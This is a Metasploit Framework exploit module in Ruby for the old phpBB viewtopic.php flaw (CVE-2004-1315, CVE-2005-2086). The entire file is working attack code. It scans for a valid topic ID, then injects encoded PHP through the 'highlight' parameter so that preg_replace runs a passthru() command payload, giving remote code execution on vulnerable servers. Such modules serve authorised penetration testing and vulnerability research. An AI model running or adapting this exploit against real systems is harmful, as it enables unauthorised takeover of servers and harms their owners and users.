## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'phpBB viewtopic.php Arbitrary Code Execution', 'Description' => %q{ This module exploits two arbitrary PHP code execution flaws in the phpBB forum system. The problem is that the 'highlight' parameter in the 'viewtopic.php' script is not verified properly and will allow an attacker to inject arbitrary code via preg_replace(). }, 'Author' => [ 'valsmith[at]metasploit.com', 'hdm', 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2005-2086'], [ 'CVE', '2004-1315'], [ 'OSVDB', '11719'], [ 'OSVDB', '17613'], [ 'BID', '14086'], [ 'BID', '10701'], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 1024, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Automatic', { }], [ 'phpbb <=2.0.10', { }], [ 'phpbb <=2.0.15', { }], ], 'DisclosureDate' => 'Nov 12 2004', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "The phpBB root Directory", "/phpBB2"]), OptString.new('TOPIC', [false, "The ID of a valid topic"]), ], self.class) end def find_topic 1.upto(32) do |x| res = send_request_raw({ 'uri' => datastore['URI'] + '/viewtopic.php?topic=' + x.to_s, }, 25) if (res and res.body.match(/class="postdetails"/)) print_status("Discovered valid topic ID: #{x}") return x end end return false end def exploit topic = datastore['TOPIC'] || find_topic if !(topic) print_status("No valid topic ID found, please specify the TOPIC option.") return else sploit = datastore['URI'] + "/viewtopic.php?t=#{topic}&highlight=" case target.name when /Automatic/ req = "/viewtopic.php?t=#{topic}&highlight=%2527%252ephpinfo()%252e%2527" res = send_request_raw({ 'uri' => datastore['URI'] + req }, 25) print_status("Trying to determine which attack method to use...") if (res and res.body =~ /\phpinfo/) byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e') sploit << "%2527%252epassthru(#{byte})%252e%2527" else byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.') sploit << "%27.passthru(#{byte}).%27" end when /2\.0\.10/ byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e') sploit << "%2527%252epassthru(#{byte})%252e%2527" when /2\.0\.15/ byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.') sploit << "%27.passthru(#{byte}).%27" end res = send_request_raw({ 'uri' => sploit }, 25) end end end